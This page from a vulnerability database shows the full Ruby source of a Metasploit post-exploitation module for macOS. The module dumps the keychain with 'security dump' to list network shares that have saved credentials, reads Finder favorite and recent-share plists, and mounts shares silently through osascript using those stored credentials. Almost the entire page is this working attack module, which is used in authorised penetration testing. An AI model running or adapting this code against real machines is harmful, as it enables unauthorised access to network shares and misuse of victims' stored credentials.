Lucene search
K

OSX Network Share Mounter

🗓️ 13 Nov 2013 10:21:39Reported by Peter Toth <[email protected]>, joev <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 31 Views

This module lists saved network shares and tries to connect to them using stored credentials. This does not require root privileges

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post

  # list of accepted file share protocols. other "special" URLs (like vnc://) will be ignored.
  FILE_SHARE_PROTOCOLS = %w[smb nfs cifs ftp afp]

  # Used to parse a name property from a plist
  NAME_REGEXES = [/^Name = "(.*)";$/, /^Name = (.*);$/]

  # Used to parse a URL property from a plist
  URL_REGEX = /^URL = "(.*)";$/

  include Msf::Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OSX Network Share Mounter',
        'Description' => %q{
          This module lists saved network shares and tries to connect to them using stored
          credentials. This does not require root privileges.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Peter Toth <globetother[at]gmail.com>',
          'joev'
        ],
        'Platform' => [ 'osx' ],
        'SessionTypes' => [ 'meterpreter', 'shell' ],
        'Actions' => [
          [ 'LIST', { 'Description' => 'Show a list of stored network share credentials' } ],
          [ 'MOUNT', { 'Description' => 'Mount a network shared volume using stored credentials' } ],
          [ 'UMOUNT', { 'Description' => 'Unmount a mounted volume' } ]
        ],
        'DefaultAction' => 'LIST'
      )
    )

    register_options(
      [
        OptString.new('VOLUME', [true, 'Name of network share volume. `set ACTION LIST` to get a list.', 'localhost']),
        OptEnum.new('PROTOCOL', [true, 'Network share protocol.', 'smb', FILE_SHARE_PROTOCOLS])
      ]
    )

    register_advanced_options(
      [
        OptString.new('SECURITY_PATH', [true, 'Path to the security executable.', '/usr/bin/security']),
        OptString.new('OSASCRIPT_PATH', [true, 'Path to the osascript executable.', '/usr/bin/osascript']),
        OptString.new('SIDEBAR_PLIST_PATH', [true, 'Path to the finder sidebar plist.', '~/Library/Preferences/com.apple.sidebarlists.plist']),
        OptString.new('RECENT_PLIST_PATH', [true, 'Path to the finder recent plist.', '~/Library/Preferences/com.apple.recentitems.plist'])
      ]
    )
  end

  def run
    username = cmd_exec('whoami').strip
    security_path = datastore['SECURITY_PATH'].shellescape
    sidebar_plist_path = datastore['SIDEBAR_PLIST_PATH'].gsub(/^~/, "/Users/#{username}").shellescape
    recent_plist_path = datastore['RECENT_PLIST_PATH'].gsub(/^~/, "/Users/#{username}").shellescape

    if action.name == 'LIST'
      if file?(security_path)
        saved_shares = get_keyring_shares(security_path)
        if saved_shares.empty?
          print_status('No Network Share credentials were found in the keyrings')
        else
          print_status('Network shares saved in keyrings:')
          print_status("  Protocol\tShare Name")
          saved_shares.each do |line|
            print_good("  #{line}")
          end
        end
      else
        print_error('Could not check keyring contents: Security binary not found.')
      end
      if file?(sidebar_plist_path)
        favorite_shares = get_favorite_shares(sidebar_plist_path)
        if favorite_shares.empty?
          print_status('No favorite shares were found')
        else
          print_status('Favorite shares (without stored credentials):')
          print_status("  Protocol\tShare Name")
          favorite_shares.each do |line|
            print_uri(line)
          end
        end
      else
        print_error('Could not check sidebar favorites contents: Sidebar plist not found')
      end
      if file?(recent_plist_path)
        recent_shares = get_recent_shares(recent_plist_path)
        if recent_shares.empty?
          print_status('No recent shares were found')
        else
          print_status('Recent shares (without stored credentials):')
          print_status("  Protocol\tShare Name")
          recent_shares.each do |line|
            print_uri(line)
          end
        end
      else
        print_error('Could not check recent favorites contents: Recent plist not found')
      end
      mounted_shares = get_mounted_volumes
      if mounted_shares.empty?
        print_status('No volumes found in /Volumes')
      else
        print_status('Mounted Volumes:')
        mounted_shares.each do |line|
          print_good("  #{line}")
        end
      end
    elsif action.name == 'MOUNT'
      mount
    elsif action.name == 'UMOUNT'
      umount
    end
  end

  # Returns the network shares stored in the user's keychain. These shares will often have
  # creds attached, so mounting occurs without prompting the user for a password.
  # @return [Array<String>] sorted list of volumes stored in the user's keychain
  def get_keyring_shares(security_path)
    # Grep for desc srvr and ptcl
    data = cmd_exec("#{security_path} dump")
    lines = data.lines.select { |line| line =~ /desc|srvr|ptcl/ }.map(&:strip)

    # Go through the list, find the saved Network Password descriptions
    # and their corresponding ptcl and srvr attributes
    list = []
    lines.each_with_index do |line, x|
      # Remove everything up to the double-quote after the equal sign,
      # and also the trailing double-quote
      next unless line =~ /"desc"<blob>=("Network Password"|<NULL>)/ && x < lines.length - 2 && (lines[x + 1].match "^.*\=\"(.*)\w*\"\w*$")

      protocol = ::Regexp.last_match(1)
      if protocol.start_with?(*FILE_SHARE_PROTOCOLS) && lines[x + 2].match("^.*\=\"(.*)\"\w*$")
        server = ::Regexp.last_match(1)
        list.push(protocol + "\t" + server)
      end
    end
    list.sort
  end

  # Returns the user's "Favorite Shares". To add a Favorite Share on OSX, press cmd-k in Finder, enter
  # an address, then click the [+] button next to the address field.
  # @return [Array<String>] sorted list of volumes saved in the user's "Recent Shares"
  def get_favorite_shares(sidebar_plist_path)
    # Grep for URL
    data = cmd_exec("defaults read #{sidebar_plist_path} favoriteservers")
    list = data.lines.map(&:strip).map { |line| line =~ URL_REGEX && ::Regexp.last_match(1) }.compact

    # Grep for EntryType and Name
    data = cmd_exec("defaults read #{sidebar_plist_path} favorites")
    lines = data.lines.map(&:strip).select { |line| line =~ /EntryType|Name/ }

    # Go through the list, find the rows with EntryType 8 and their corresponding name
    lines.each_with_index do |line, x|
      if line =~ /EntryType = 8;/ && x < lines.length - 1 && NAME_REGEXES.any? { |r| lines[x + 1].strip =~ r }
        list.push(::Regexp.last_match(1))
      end
    end

    list.sort
  end

  # Returns the user's "Recent Shares" list
  # @return [Array<String>] sorted list of volumes saved in the user's "Recent Shares"
  def get_recent_shares(recent_plist_path)
    # Grep for Name
    data = cmd_exec("defaults read #{recent_plist_path} Hosts")
    data.lines.map(&:strip).map { |line| line =~ URL_REGEX && ::Regexp.last_match(1) }.compact.uniq.sort
  end

  # @return [Array<String>] sorted list of mounted volume names
  def get_mounted_volumes
    cmd_exec('ls /Volumes').lines.map(&:strip).sort
  end

  def mount
    share_name = datastore['VOLUME']
    protocol = datastore['PROTOCOL']
    print_status("Connecting to #{protocol}://#{share_name}")
    cmd_exec("#{osascript_path} -e 'tell app \"finder\" to mount volume \"#{protocol}://#{share_name}\"'")
  end

  def umount
    share_name = datastore['VOLUME']
    print_status("Disconnecting from #{share_name}")
    cmd_exec("#{osascript_path} -e 'tell app \"finder\" to eject \"#{share_name}\"'")
  end

  # hook cmd_exec to print a debug message when DEBUG=true
  def cmd_exec(cmd)
    vprint_status(cmd)
    super
  end

  # Prints a file share url (e.g. smb://joe.com) as Protocol + \t + Host
  # @param [String] line the URL to parse and print formatted
  def print_uri(line)
    if line =~ %r{^(.*?)://(.*)$}
      print_good "  #{::Regexp.last_match(1)}\t#{::Regexp.last_match(2)}"
    else
      print_good "  #{line}"
    end
  end

  # path to osascript on the remote system
  def osascript_path
    datastore['OSASCRIPT_PATH'].shellescape
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation